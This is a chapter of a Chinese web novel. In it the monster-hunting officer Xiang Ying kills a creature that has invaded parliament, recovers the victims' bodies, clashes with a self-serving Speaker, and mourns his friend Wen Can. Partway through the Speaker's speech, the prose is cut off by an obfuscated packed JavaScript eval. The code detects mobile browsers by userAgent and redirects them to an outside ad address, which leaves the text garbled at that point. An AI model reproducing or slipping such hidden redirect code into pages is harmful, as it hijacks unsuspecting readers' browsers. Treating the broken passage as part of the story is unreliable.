那天是六月二十七日,也是他十六岁的生日,这个怪物编号好像在说那天本该是他的忌日,至于闻璨不过是无辜被他连累,以至于卷入了那场无妄之灾。 那天的他以为编号16627强大得可怖,然而祂才A-级,是怪物当中最为弱小的级别。 换作现在的他能干净利落地将A-级怪物处决。 “闻璨,别……”“走”字还没来得及说,橙黄色的触手已然不见了。 天窗那空空荡荡,连一朵云都没有。 “别走,别走,别走,闻璨,别走……”他情不自禁地喃喃低语。 “啊……”始终挣不脱他的怪物倒在地上,将他压住了。 他眼前一阵阵地发黑,疼痛难忍,兴许五脏六腑都破裂了吧? 刚才的狮鬃水母可能只是他的走马灯,是来送他最后一程的。 他阖了阖眼,瞥见自己右手握着的匕首柄,顿时心有不甘。 去他的走马灯! 区区走马灯也配让他心甘情愿地赴死! 即便不得不死,也得在他见过闻璨,将右小臂还给闻璨之后! 幸好左手没被压住,他用力地用左手拍了拍自己的额头,企图让自己清醒些。 现在的他有两个坏消息:其一,他的身体大体被压住了,怪物应该是想压死他,吃了他,再去吃其他人。 其二,那八个腿脚不利索的老头居然连这会议室都还没出去。 这会议室虽然大,但平日里这些老头走得可没这么慢,实在是拖他后腿。 可恶,“怪物清除局”就算派些普通的后勤人员来,把他们拖走也好。 他们高薪聘请的保镖又跑到哪里去了? 现在的他还有一个好消息:怪物露出肚皮了,怪物的肚皮是祂浑身上下最为柔软之处。 可惜他又有一个坏消息:没人帮他将怪物的肚皮剖开。 思忖间,他用左手换了弹匣,冲着怪物毛茸茸的肚皮连开数枪。 这肚皮果然被子弹打中了,淅淅沥沥地流出血来。 遗憾的是肯定不致命。 目前为止,向罂对怪物造成的全数伤害均不致命,加在一起亦不致命。 不致命是不致命,激怒怪物是足够了。 怪物站立起来,用幸存的左爪去拍向罂。 向罂侧身一跳,踩在了会议桌上。 上面还放着文件,题为“如何降低新生儿的‘异变值’,能否对育龄女性进行人体实验?” 怪物显然不太适应单单用后腿站立,站得不太稳当。 闻璨送的匕首还嵌在怪物头颅中,向罂没来得及拔出来。 向罂看着被他摩挲至发亮的木柄,觑着眼,对怪物笑:“有本事你就吃了我,就像吃吉娜一样。” 他不认识吉娜,但从莱拉的描述中可知,吉娜是个好姑娘。 吉娜当着莱拉的面,被眼前这怪物吃掉了,而他只看见了吉娜的一只手,稚嫩却粗糙。 明明还是个孩子,却过着艰难的生活。 怪物只得三条腿着地,朝着向罂扑了过去。 向罂浑身发疼,由于还不能死,催眠自己一点都不疼,在会议桌上跑来跳去。 他面无表情,身手灵活,全然不像是受了伤。 他脑中闪过同闻璨一起看过的武侠电影,要是有电影公司请他拍电影,他不用替身,就能拍出电影里的效果了。 这是当年的他想都不敢想的。 将近两年的艰苦训练是有意义的,但只有再见到闻璨,才更有意义。 要是有威压就好了。 不过威压没有,水晶吊灯倒是有一盏。 他爬上水晶吊灯,稍作休息。 这水晶吊灯对于怪物来说,并不太高。 他不可能一直躲在上面,放目四顾,这会议室没有可利用的武器。 据说这间会议室能抵抗核弹,那么最有效的方法是人都出去,只留这怪物在里面,再用核弹把祂炸了。 但是法律上来说用核弹得由国会审议通过,再说核弹有辐射污染,当量再小,爆炸高度再低的核弹都能将至少半径五十公里的土地变成一片废土,成为无人区。 而且对付一头A+级的怪物用核弹,相当于杀鸡用牛刀。 那么对付S级,SS级,SSS级的怪物呢?也用核弹么? 不说“帕拉而提”压根没有这多核弹可用,就算有,这么个用法,只怕是“帕拉而提”全国都会变成焦土,国民得全部举家逃命。 核弹不行,普通炸药呢? 他正思考着,怪物横冲直撞,出自百年奢侈品品牌,由工匠精心打造的会议桌不堪重负,接连倒塌,如同正在经历一场地震。 文件纷飞,落在地上,印上怪物的爪印,继而被踩得稀烂。 向罂跳上了主席台,看着怪物,不受自控地想这怪物原本是人,抑或是动物?祂一共吃过多少人? 怪物转瞬逼到了他面前,他拿起话筒,向那些议员喊话道:“快出会议室,然后把会议室的门关上,这头怪物由我解决,我绝不会容许他再吃人。” 他其实没什么把握,但是不管有没有把握,势在必行。 纵然他能一个人逃走又如何?他可不想丢下这些人,当个逃跑的懦夫。 而后,他将话筒往怪物面前一递:“怪物先生,你有什么要说的么?” “神经病!” 怪物还什么都没说,好不容易走出会议室的议长却是骂了一句。 向罂荣幸之至地道:“多谢议长先生夸奖。” 议长不屑地道:“别拿我和怪物相提并论。” 因为都用了“先生”这个称呼,所以算是相提并论了? 怪物吃人出自本能,野蛮血腥,议长也吃人,不过吃得文雅些,隐秘些。 吃人不该是人的本能,议长却吃得天经地义。 怪物才该不满自己被拿来和议长相提并论了才对吧? 怪物没说话,低吼一声后,一口吞掉了话筒。 话筒另一头连接着电线,这么点电压当然电不死怪物。 怪物咬断电线,犹如吃小零食一般,将话筒吃了下去,嘎嘣脆。 既然想吃就多吃点。 向罂拿起话筒一个一个往怪物嘴边砸。 这怪物被他射瞎了双眼,应该是根据他的气味来追杀他的,而话筒基本没什么气味。 于是,怪物几乎避不开话筒。 要是有什么死物能一下子砸死这怪物就好了。 话筒对怪物造不成什么伤害,怪物仍是直冲着向罂而去。 “向罂,我来帮你!”莱拉将最后一个议员扶出去之后,向着向罂跑了过去,手上还提着一个不知道从哪里拿来的花瓶。 不久前,面对怪物仍然瑟瑟发抖的小姑娘居然临危不惧。 向罂有点想夸莱拉,但莱拉现在过来,无异于来投喂怪物。 “你走,锁门。”向罂跳到了怪物头上,拔出自己的匕首,盯着莱拉道,“走!” “不走,我要帮吉娜报仇。”莱拉脸色坚毅,“你告诉我,我怎么样做才可以帮到你?” “你走就算是帮我了,你再不走,除非是想和吉娜在怪物胃里相见。”向罂提声道,“还不快走!” “我……”莱拉背过身去,“你保重。” 没一会儿,会议室的大门被锁上了,全国最大的拥有上万个座位的会议室仅仅余下向罂以及一头怪物。 向罂顺手操起一条被怪物拆下来的桌腿,气喘吁吁地瞪着怪物。 要是能将这条桌腿捅入怪物的肛.门,怪物即便不死,也是重伤。 可是怪物并不会乖乖地让他这么做。 不论是力量,还是体力,他都不是怪物的对手。 他惟一可以称道的只有灵活度与速度。 但他的体力迟早会耗尽。 一旦体力耗尽,便只能任由怪物摆布了。 怪物扑了上来,近在咫尺,他一边用桌腿挡住了怪物,一边将子弹射入了怪物口中。 这怪物的皮毛太硬,希望直接射入口中的子弹能对其造成伤害。 又一个弹匣被射完了,他只剩下一个弹匣了。 不,是他还剩下一个弹匣。 总比手无寸铁好得多。 怪物口中没喷出血来,反倒是向罂,被怪物抵上了墙面,后背重重地一磕,不由自主地吐了一口血。 人体委实是太过脆弱了,倘使向罂也是一头怪物,即便是一头A-级怪物,应该也能与眼前这头A+级怪物抗衡好一会儿。 A-级怪物…… 闻璨…… 怪物顶着桌腿的抵挡,将属于兽类的气息劈头盖脸地洒了向罂一身。 向罂顿觉自己被这头怪物腌制入味了,只差再加些调味料,便能教怪物饱餐一顿了。 怪物的舌头上长满了倒刺,每一根倒刺都比向罂的手指要粗上一些。 如若被这些倒刺一刮,向罂怕是要变成一副骨架子了。 怪物粗硬的毛发蹭上了向罂的面颊,宛若一枚枚钢针。 向罂脸上多出了无数道血痕,血液的气味教怪物兴奋得大吼。 在震耳欲聋的吼声中,向罂换上了最后一个弹匣,不及向怪物嘴巴开枪,桌腿被怪物咬断了。 怪物的牙齿抵上了他的额头,而他拿枪的右手被怪物的左爪压住了。 便在这时候,他猝然听到外头有人道:“准备炸药,把这间会议室炸了,我们绝不容许怪物威胁到普通民众。” ——是议长的声音。 “可是议长,里面那个‘怪物清除局’的人该怎么办?” 议长叹了口气:“作为‘怪物清除局’的一员,他应该一早就准备好为人民牺牲了。我作为议长,会让‘怪物清除局’多拨些抚恤金给他的家人的。” “不行,我不同意,我相信他一定能除掉那头怪物的。” ——是莱拉的声音。 “你这个小丫头片子是谁?竟敢这么对本议长说话。” “议长就能草菅人命嘛?你真是对不起‘帕拉而提’这个名字。” “你……真是个不懂事的小姑娘,我这是为了绝大多数民众着想。他和怪物一起被炸死,是当烈士,当英雄,会受到表彰,可以上黄金时段电视新闻和报纸头版头条的,全国人民都会记得他的付出,他的家人也会受到尊敬。他如果被怪物吃掉了,怪物又从这会议室跑了出来。他就会死得无人问津。你说怎样做对他比较好?” ——议长的口吻语重心长,好像真心实意地在为向罂这个外人考虑。 “你怎么这么确定向罂会死?” ——向罂,他的名字叫做“向罂”,不知道议长还记不记得向罂? “‘向罂’?他叫‘向罂’?长得倒是不错,名字真是奇怪。” ——议长不记得。 “向罂可厉害了,一会儿工夫就能干掉一头怪物,是我亲眼看到的。里面的这头怪物肯定也会被向罂干掉的,向罂一定会帮吉娜报仇的,我相信。” “请问议长大人,还要准备炸药么?” “准备。” “议长大人,我是国家电视台的记者,请问里面是什么情况?” “里面有一头怪物,我们准备用炸药把祂炸死。” “议长大人,我看过您的自传,您曾生擒过好几头怪物,请问您为何不亲自制服里面那头怪物,而要动用炸药?” “岁月不饶人啊,要是换做我年轻的时候,哪里用得上炸药?” “沽名钓誉的伪君子。”向罂骂了一句,同时,他的面孔被怪物舔下一大块肉来。 他并不反抗,凝视着怪物,道:“你听到了么?议长打算把我们一起炸死。” “怪物清除局”内部资料显示,少数怪物是有智慧的,不知道这头怪物有没有? 怪物不为所动,不知道是听不懂,还是懒得理他? “不如我们一起出去,你去把外面的人全吃了。” 怪物还是不为所动。 他的那块脸肉被怪物吞了下去,怪物显然没吃饱,血盆大口馋得口水泛滥。 “好吧,你想吃我就吃吧。”他做出一副束手就擒的柔弱姿态。 然后,他深吸了一口气:“我怕疼,能不能生吞,别咀嚼?” 他丢了枪,以示友好,继而抬起手,摸了摸怪物的鬃毛。 怪物这回像是听懂了。 他没再说话,自己将怪物的嘴巴掰大一些后,钻了进去。 “啪”的一声,大门被打开了。 娇小的边橙提着比她自己的身体还要长的镰刀赶了过来,一眼便看见向罂被怪物整个吞了进去! “向罂!” 她常常打趣向罂是未亡人,向罂就得是未亡人,决不能变成已亡人。 她飞快地到了怪物面前,朝着怪物劈了下去。 她必须快点把向罂剖出来,向罂肯定还没死,指不定之前被怪物吃掉的那几个议员也没死。 镰刀在水晶吊灯下折射出锋利的光芒,怪物肚子上的皮毛顿时破了一大片。 下一瞬,陡然有什么东西从怪物肚子钻了出来。 边橙没收住力,砍在了那东西身上。 镰刀受阻,撞到了利器上头,发出一声锐响。 “我没被怪物吃掉,险些被你砍死了!” 出来的东西是向罂,他浑身上下沾满了怪物黏黏糊糊的体.液。 刚才他实在是没办法了,只能以身涉险。 不知道怪物是听懂了没咀嚼,还是没赶得上咀嚼,总而言之,他全须全尾地到了怪物肚子里头。 这肚子里头当然比肚子外头更为柔软。 他便用藏起来的匕首,从肚子里头将怪物剖开了。 幸好这头怪物没毒,不然,他早就被毒死了。 他没什么力气了,却好奇地问边橙:“你不是凯勒的徒弟么?不在化验室好好呆着,来这儿干嘛,还拿着把大镰刀?” “处刑官不是都出任务去了嘛?我寻思着你一个人对付不了一头估计A+级别的怪物,就拿了镰刀来帮你了。”边橙得意洋洋地道,“镰刀是我求段副局打给我的,是不是很酷,像传说中的死神?” “是很酷,早知道,我出发前,应该向你借,或许我能快些搞定这头怪物。”一把锋利的镰刀如果从肛.门捅进去,怪物定然受不住。 向罂不再同边橙说话,转而低下身去,将怪物肚子里的尸体拖出来。 一具,两具,三具…… 有被咬得七零八落的尸体,也有相对完好的尸体。 但所有的都是尸体,没有能救活的人。 最为面目全非的尸体格外娇小,想必是吉娜的尸体。 “吉娜!”莱拉三步并作两步地跑到了向罂面前。 向罂摇摇头,挡住了莱拉:“别看。” “很可怕么?”见向罂默认,莱拉咬了咬嘴唇,“我想看,我不怕吉娜。” 向罂迟疑片刻,侧过身去。 莱拉马上看见了吉娜,明明只与吉娜分开了几个小时,她却无法从吉娜身上看出一点吉娜生前的样子了,惟有上头的一对蝴蝶耳环能证明这具尸体就是吉娜。 吉娜的皮肤非常白,是全班最白的,而且是公认最漂亮的班花。 吉娜有一双酒窝,笑起来的时候,像是传说中的太阳女神。 吉娜双手修长,她们偶尔会买廉价的指甲油,互相涂着臭美。 启程来“帕拉而提”前,她们还涂了指甲油,是大红色的。 吉娜说大红色是她的幸运色。 只要涂了大红色,她们一定能顺利抵达“帕拉而提”。 她们果然顺利抵达了“帕拉而提”,但没多久,吉娜竟被从天而降的怪物吃掉了。 “吉娜……”她咚的一声跪了下去,将被怪物消化大半,露出白骨的吉娜抱在怀里。 吉娜喜欢用肥皂洗澡,每天都是香香的,而今的吉娜却比学校外面那条臭水沟还要臭得多。 吉娜有着一双漂亮的眼睛,当年的吉娜便是用这双漂亮的眼睛望着她,对她说:“别人都不愿意和你做朋友,那我和你做朋友吧?” “你别害怕,我没有恶意,也不是在对你恶作剧。” 当时的莱拉早已习惯被孤立了,只要有人对她释放善意,都会被她解读成别有用意。 她的第一反应是不理吉娜。 吉娜却一有空就来找她玩,即使是碰软钉子也不畏缩。 直到有一天,她忍不住对吉娜道:“全班都孤立我,你要是不孤立我,和我玩,就会和我一样被全班孤立。” 吉娜微笑道:“那我就和你一起被全班孤立吧。” 然后,她与吉娜成了全天下最好的好朋友,一起玩,一起闹。 她还把吉娜带回家,介绍给妈妈,一脸骄傲地说:“妈妈,这是我的朋友,吉娜。” 妈妈又惊又喜,郑重地向吉娜鞠躬:“多谢你愿意和莱拉做朋友。” 吉娜也鞠了一躬:“应该多谢莱拉愿意和我做朋友才对,莱拉人可好啦。” 当时的莱拉觉得自己是世界上最幸福的小女孩,有妈妈,有吉娜。 早知道不来这破“帕拉而提”了。 “帕拉而提”才不是什么理想国。 怪物横行的国家应当改名叫“地狱国”。 眼泪汹涌而下,她不想弄脏吉娜的遗体,用力地捂住了自己的眼睛。 眼泪太多了,顺着手指流淌了下去。 还有脏脏的鼻涕,也跟着窜了出来。 她真是个讨人厌的人,活该被孤立。 她用衣袖擦眼泪,擦鼻涕,怎么都擦不过来。 她眼睁睁地看着一些眼泪鼻涕掉在了吉娜身上,命令自己不许再哭了,可她做不到。 “真没用,我真没用,我真没用啊,这个世界上怎么会有我这么没用的人?” 向罂正在查看别的尸体,听到这话,心头一疼。 当年的他也曾无数次这么想过。 要是他有用些,闻璨便不会只剩下一条被福尔马林泡得发胀的右小臂。 “别诋毁自己,你比其他人勇敢多了,只有你有勇气帮我。”他安慰道。 “哪有,我怕死了,我现在都还在后怕。”莱拉含着哭腔道,“向罂,你说是不是我害死了吉娜?若不是我天天说天天说要来‘帕拉而提’,说‘帕拉而提’如何如何得好,吉娜根本不会来‘帕拉而提’。吉娜成绩好,可以在‘帕拉’当地考上一所好大学。 “大学毕业后,吉娜能找到一份比一般的当地人好得多得多的工作。吉娜不会死在十五岁,吉娜会变成一个白发苍苍的老太太,等走不动路了,还要臭美地涂大红色的指甲油。‘帕拉’经济不好,不,不是不好,是很差,基本都是平房,远远比不上‘帕拉而提’,但‘帕拉’没有吃人的怪物,或许再过几年,经济就能好起来,吉娜在‘帕拉’就能过上好日子。或许……或许等吉娜变成白发苍苍的老太太了,不但能涂大红色的指甲油,还能用上只在时尚杂志上出现过的粉饼、眉笔、腮红、口红、高光……啊,还有什么来着,对了,还有睫毛夹,睫毛膏,阴影……” “吉娜要是能用上这些化妆品,一定是全‘帕拉’最最最好看的老太太,吉娜还能穿上花裙子,戴上遮阳帽,对了,再戴上太阳眼镜……吉娜她可爱美啦,我也爱美,但我没吉娜爱美……吉娜……吉娜就该美美的,活到七老八十……不,活到一百岁。虽然我们‘帕拉人’的人均寿命据说才四十二,但我相信吉娜一定能活到一百岁。可是不要说一百岁了,吉娜连五十岁都没活到呢,吉娜才活了十五岁,十五岁啊!是我害死了吉娜!吉娜死前肯定很恨我吧?” “既然你们是好朋友,吉娜又这么善良,她不会恨你的,也不是你害死了吉娜,害死吉娜的是这头怪物。”向罂不太会安慰人,他随身没带纸巾,瞟了边橙一眼。 边橙摇了摇头,表示自己也没带。 怪物体内的尸体被清点完毕了,统共有二十一具。 随着吃的人越来越多,怪物会越来越强大,要是这头怪物低调些,别在国会露面,按照祂进食的数量,恐怕今年之内就能进化成S级怪物。 这二十一具尸体肉眼难以辨认,必须做dna检测。 向罂温言对哭泣不止的莱拉道:“莱拉,吉娜的尸体也必须和其他的尸体一道做dna检测,你先放手。” 莱拉仿佛没听见。 向罂拍了拍莱拉的肩膀:“莱拉,这是必要的流程,万一吉娜的尸体和别的尸体弄混了呢。” “好吧。”莱拉点点头,小心翼翼地从吉娜身上摘下蝴蝶耳环,攥在手心。 其后,吉娜的尸体被装入了灰扑扑的裹尸袋,看起来和其他的尸体一模一样。 莱拉看见边橙的镰刀,不由自主地想:难道死神真的来过了? 向罂目送裹尸袋被一个个抬了出去,接着怪物的尸体也被抬了出去,再接着,有专人来清理现场了。 “走……”向罂身体摇晃,问边橙,“你能不能扶我一把?” “哦。”边橙一手拿着镰刀,一手扶住向罂。 向罂的脑袋瓜子立刻歪了下去,差点撞上镰刀尖。 边橙吓了一跳,把镰刀往认识的后勤一递:“麻烦你帮我送到化验室。” 怪物没把向罂送走,万一由她把向罂送走就不好了。 未亡人就要乖乖地当未亡人,她可没给同事扫墓的爱好。 会议室外,议长正在接受媒体的采访。 镁光灯一盏又一盏,分外刺眼。 整个国会都要进行清理,按理说,媒体暂时是不能进来采访的。 但是安保不足,这么多媒体拦不住吧? 边橙平时不关注政治,只认得出议长的长相。 这个议长长得还行,看得出来年轻时候应该是个大帅哥,不过侃侃而谈的模样非常令人讨厌。 议长方才有他自己说的那么英勇嘛? 拖住怪物,掩护其他议员逃走什么的,只怕是信口瞎编的吧? 现场的媒体却像是见了狗屎的苍蝇一般嗡个不停。 难道这就是所谓的领袖魅力? 对了,她好像听段昀提过,议长要参加下一届的总统选举。 什么总统选举,只不过是金钱游戏罢了。 边橙懒得再看议长,正打算从媒体中间穿过去,突然,半昏迷的向罂支起了身体。 “向罂?”她正想问向罂怎么了,却见向罂挣脱了她的手,直直地走向议长。 向罂越过一个又一个的记者,脏兮兮地走到了议长面前,礼貌地道:“议长先生,我是‘怪物清除局’的处刑官‘向罂’,我的代号是‘东方罂粟’”。 议长记得自己已经提醒过向罂不要把他和那头怪物相提并论了,向罂居然屡教不改。 刚刚的向罂长得很漂亮,现在邋里邋遢还臭烘烘的。 议长下意识地后退了一步,又立即上前两步,一把抱住了向罂,感激地道:“向罂,多谢你救了我们大家,否则,这个国家怕是会闹出大乱子啊。” 他心里嫌弃,脸上和蔼可亲,符合他一贯的人设。 自抬身价,向罂不由反胃,下意识地推开了议长。 “好臭啊,议长大人竟然不觉得恶心。” “救了议长大人又怎么样?特意出来邀功真不要脸。” “是想和议长攀关系吧?” “‘怪物清除局’的责任就是清除怪物,居然纵容怪物跑到国会来了。” “是啊,是啊,还让怪物吃了好几个议员,也不知道平日里是不是除了喝茶就是看报。” “哈哈哈,我也想干除了喝茶就是看报的工作,不知道‘怪物清除局’收不收我。” “此次事件‘怪物清除局’必须担责!” “必须担责!” “必须担责!” …… “各位媒体朋友,‘怪物清除局’也没办法预料到怪物会突然闯入国会。请各位媒体朋友不要太苛责。这位叫向罂的小朋友虽然年纪不大,却能杀掉一头怪物,前途不可限量啊。来日兴许能当上‘怪物清除局’局长,帮助我们清除所有怪物,让我们的人民不再受怪物的困扰,不再因为怪物而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138926|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寝食难安,不再被怪物夺走生命。” 议长慷慨陈词,热泪盈眶。 向罂听着议长的表扬,心里冷笑。 “哇,议长大人真是个大好人。” “议长非但不怪罪‘怪物清除局’,还为‘怪物清除局’说话呢。” 边橙翻了个大大的白眼,不知道的还以为议长在开粉丝见面会呢。 你们这些马屁精要不要和议长握个手,合个照,再大喊“哥哥,我们爱你”? “议长当真不觉得应该追究‘怪物清除局’的责任吗?” “‘怪物清除局’距离国会仅有一公里,怪物能跑进国会,改日也能跑进‘怪物清除局’,万一‘怪物清除局’被怪物一锅端了就讽刺了。” 向罂转身面对媒体,淡淡地道:“万一‘怪物清除局’被怪物一锅端了,那你们能幸免么?” 他脸上的伤还没愈合,正在流血,衬着一身的戾气,说这话的态度像是要把在场所有的媒体人都杀了,一个不剩。 说完,他不理会媒体的态度,径直走了出去。 “向议长,那个叫向罂的是不是太嚣张了?” “对,对,对,总得让他受些惩罚吧?工作工作干不好,还有脸威胁我们?” “咦,他和议长是一个姓呢。” 这话钻入了向罂的耳蜗,他回过头去看议长,视线撞上了议长的视线,议长温和地对他笑了笑:“我很荣幸能和英勇的小朋友一个姓。” “都是些不识好歹的坏东西。”边橙抓住了向罂的胳膊,娇滴滴地道,“你可别倒下,我很柔弱的,扶不动你。” “尽量。”向罂在边橙的搀扶之下,出了国会。 外面天朗气清,宛若闻璨被吞噬的那一日。 那一日,闻璨去问市政府能不能给“乌鸦贫民窟爱心学校”多拨些经费。 本来闻璨是不让他去的,因为从“乌鸦贫民窟”去市政府的路上近些天常常出现怪物。 他没见过怪物,不管旁人如何描述怪物的恐怖,他都没有真实感,所以他连匕首都没带上。 他甚至觉得所谓的怪物不过是有人在装神弄鬼,或是大人编出来吓唬小孩的故事。 他们在市政府的取号处取了号,取号纸上显示前面只有十一号,可是他们却从上午等到了下午,直到市政府下班都没叫到号。 他气得不行:“他们这是歧视!‘乌鸦贫民窟’的全体居民也是这个‘帕拉而提’的合法居民,我们有权利拥有更好的学校,新闻上不是说政府一直在抓教育,想要培养更高素质的人才么?我们学校的教育政府怎么不抓一抓?” “当然是因为你们贫民窟出不了高素质的人才。” 有个政府工作人员模样的人嘲讽道。 “你……”向罂气愤地道,“你怎么知道?我们贫民窟一直没出高素质的人才不就是因为经费不够,连课本都买不起嘛?只要经费足够,和贵族学校一样,或者是和普通学校一样,我们贫民窟也能出高素质人才。” “首先,贵族学校没经费,都是贵族们自己捐款的,你们有本事自己捐款啊。至于普通学校,经费也不多,主要来源是学生的学费。你们这些贫民既不捐款,也不交学费,简直是趴在人民身上吸血的吸血虫,浪费税金。也不知道政府为什么不把贫民窟搬走,看着都碍眼。” “是啊,是啊,要是把那个贫民窟……叫啥贫民窟来着?对了,是‘乌鸦贫民窟’吧。” “对,就是‘乌鸦贫民窟’,离我们这可近咧,走个半个小时就到了。” “啧啧啧,半个小时,怪不得市政府附近最近常常出现怪物,保不齐是那些恶心的贫民变的。” “你别说啦,这两个小破孩要是气得当场变成怪物,可不得把我们这些细皮嫩肉的都吃了呀。” “我还没见过大变怪物的,你们变一个让我们开开眼啊。” “对,快变,快变!” 向罂与闻璨被好几个好事的市政府员工围住了。 “走吧。”闻璨牵了向罂的手,柔声道。 向罂甩开闻璨的手,学着电视上的变态反派,冲那些人张牙舞爪。 没想到,他幼稚的举动当真吓到人了。 他再接再厉,直如被鬼上身的巫师,口中念念有词地说着连他自己都听不懂的话。 “不会真要变了吧?” 毕竟没人见过人类变成怪物,不知道具体是怎么变的。 “快走,快走。” 眨眼间,高高在上的政府职员走得干干净净。 向罂收起神通,蹦蹦跳跳地到了闻璨面前,挽住闻璨的手,志得意满地道:“我吓到他们了呢,我是不是超厉害,超威风的,快表扬我,表扬我!” “你超厉害,超威风的。”闻璨低叹一声,转了话锋,“但是向罂,我们是来申请学校经费的,你吓到他们了,只会让他们更不想给我们批经费,你不该这么做。” “你……”向罂生气地咬了一口闻璨的下巴,“我不和你好了。” 他不是不懂事的小孩子了,自然知道和政府职员作对是没好处的。 但他不喜欢被闻璨批评,闻璨是从来不批评他的。 闻璨只会说他好,这也好,那也好,就算他打闻璨,闻璨都不会说他不好。 他不解气,又咬了一口闻璨的右小臂。 咬得很重,咬出了一圈血痕。 ——即便右小臂被泡得死白,那圈牙印都隐约可见。 闻璨抚摸着他的脑袋道:“别生气了。” “就气,就气,我要气死我自己,再让你给我收尸。”向罂口不择言地说着气话,气呼呼地走在前头。 等回到“乌鸦贫民窟”,他要向闻璨的爸妈告状。 让他们评评理,闻璨是不是不应该批评他。 由于他单方面地在同闻璨闹别扭,所以闻璨走得离他近了,他就走快一些,闻璨来牵他的手,他就重重地拍掉,闻璨对他说软话,他就假装听不见。 过两天,我就原谅你。 毕竟我可是个从不斤斤计较的人呢。 他是这么想的,但闻璨没给他原谅的机会。 ——因为闻璨被怪物吃掉了。 他不该和闻璨闹别扭的。 他应该和闻璨牵着手,说说笑笑地走回家。 他应该缠着闻璨去别处逛逛再回家,那么他们可能就不会遇见那头怪物了。 他应该让自己被怪物吃掉,那么闻璨就不会被怪物吃掉了。 编号16627注定应该吃掉他。 他悔不当初,然而,闻璨终究是被那头狮鬃水母吞噬了。 “边橙。”他收起思绪,死死地盯着边橙,“你有没有见到一头狮鬃水母?” 边橙被向罂盯得发毛,不敢同向罂说笑,严肃地道:“我没见到,你见到了?” “嗯,我见到了,通过会议室的天窗。”向罂萎靡不振地道,“我不清楚是不是我自己的幻觉。” 边橙不知道该怎么安慰向罂才好,想了半天,没头没尾地道:“会再见到的。” “会再见到的,会再见到的……”向罂失笑道,“你也没这么毒舌嘛。” “我本来就不是走毒舌路线的。”边橙冲向罂做了个鬼脸,“我娇弱无力,美丽大方,善解人意。” “我要……”向罂面色发白,猝然吐出一口血,“我要晕过去了。” 向罂说要晕过去了,当真晕过去了。 自称娇弱无力的边橙把向罂打横抱了起来。 抱是抱得动,但是向罂太高了,这样不好抱,向罂的脚都要拖地了。 “怪物清除局”全部的车辆都出任务了,边橙方才是跑着来的。 而现在嘛…… 她打开手机,搜索共享单车,发现附近有一辆,找到后,解锁,继而将向罂抱到了共享单车车座上,自己坐在后座,歪着脑袋,艰难地骑着车。 哎,她堂堂“怪物清除局”化验室的二把手居然沦落至此,简直是上天不长眼啊。 经过一个十字路口的时候,她正遵守交通规则地等着绿灯,忽然有个交警走了过来:“自行车不能骑车带人,罚款五十。” 罚款五十! 上天太不长眼了! 边橙娇俏的脸蛋宛若被雷劈了,冒出黑线来:“不是我想骑车带人,你看看他都晕过去了,我总不能让他自己骑吧?他这样子要是能骑车,那就是医学奇迹了。” 交警看了一眼昏迷的少年,确实骑不了车。 “规定就是规定,罚款五十,不能讨价还价。” 边橙不情不愿地掏出手机,扫了交警给的罚款码。 您的银行卡扣款五十,余额三百六十八。 银行马上温馨地给她发了一条短信。 三百六十八! 边橙心如刀割,她心里所受的创伤一定比向罂生理所受的创伤还要重。 交警提醒道:“国会出事了,你再往前五百米就封锁了,会有相关人员和你说明的。” “国会出现了一头怪物,喏……”边橙指了指昏厥的向罂,“这就是杀了那头怪物的人。” “你们是‘怪物清除局’的人?”交警肃然起敬,拿出自己的手机,“请您出示下收款码,我把五十块还给您。” 进了罚款系统的钱定然是出不来的。 既然是按规章办事,边橙认为自己还是自认倒霉好,不能让这个交警自掏腰包。 但是那可是五十块,五十块啊!整整五十块啊! 边橙苦思良久,出示了自己的收款码,毅然决然地道:“你还我二十五就好,一半一半。” 交警挠了挠头:“这怎么好意思?” “好意思,好意思。”边橙心里在流血,口中坚持道,“二十五,一口价。” 交警思忖道:我们是在做生意吗? 边橙拿着收款码,见交警不扫,也不好意思催。 这个交警不会是反悔了,连二十五都不想给她吧? 交警终于拿起手机,对准了收款码。 边橙心道:快扫,快扫,那可是我的二十五。 交警扫了收款码,并对“怪物清除局”的英雄敬礼。 “滴,您的银行卡到账二十五。” 边橙松了口气,回了个礼。 还没等边橙把向罂弄回“怪物清除局”,“怪物清除局”那的车来了。 开车的是副局段昀,边橙将向罂交给段昀,又问道:“你怎么来了?怕你来晚了,向罂会死?” 见段昀不说话,边橙凑到段昀耳侧,低声道:“你是不是太关心向罂了?你莫非喜欢他?” 段昀怔了怔,蹙眉道:“边橙,你在说什么胡话?” “不喜欢就好,向罂有喜欢的人了。”边橙说完,擦过段昀的肩膀,将共享单车停在一边,赶紧上了锁还车。 等向罂转醒,已经是三天之后的事了。 向罂一睁开眼睛,没看到闻璨的那截右小臂,登地坐了起来。 一时间,他疼得龇牙咧嘴。 “别起来,不想活了啊。”边橙立马按住了向罂的双肩。 向罂乖乖地躺了下去:“我在医务室?” “你在icu。”边橙没好气地道,“你没发现我穿着防护服嘛?” 向罂满不在乎地道:“哦。” 他是第一次进icu,但他既然能醒过来,便代表已经过了危险期了,没什么好害怕的。 边橙指着自己道:“你还认得我么?” 向罂央求道:“边橙,你能不能去我宿舍,把标本瓶拿过来?” “肖恩医生说你断了十根肋骨,心肝脾肺都有一定程度的损伤,还有脑震荡。”边橙自吹自擂道,“要不是我及时把你送到肖恩医生这,你可能早就死了八百回了。” 向罂焦急地道:“边橙,多谢你救了我,麻烦你帮我拿标本瓶,我请你吃饭。” “好吧,好吧,看在你求我的份上。”边橙去拿标本瓶了。 不久后,向罂战战兢兢地将消过毒的标本瓶抱入了自己怀中。 标本瓶冰冷,向罂被冻着了,却不肯放手。 又一次死里逃生了,真好。 闻璨,国会天窗外的是不是你? 你是不是想我了,特意来见我? 边橙看着向罂,心里不是滋味,这截右小臂的主人被怪物吃掉了,向罂却一直惦念着他,这是什么好事么?只会徒增痛苦吧? 如果她是向罂,她一早就把这右小臂扔了,绝不会日日夜夜地看着。 眼尾余光突地扫到肖恩医生进来,她低声道:“让向罂和他团聚一会儿吧。” 9.理想国·其八 我把原本的一章拆成了三章,看过上一章一万两千多字版本的小可爱们可以跳过这一章和下一章 ----- 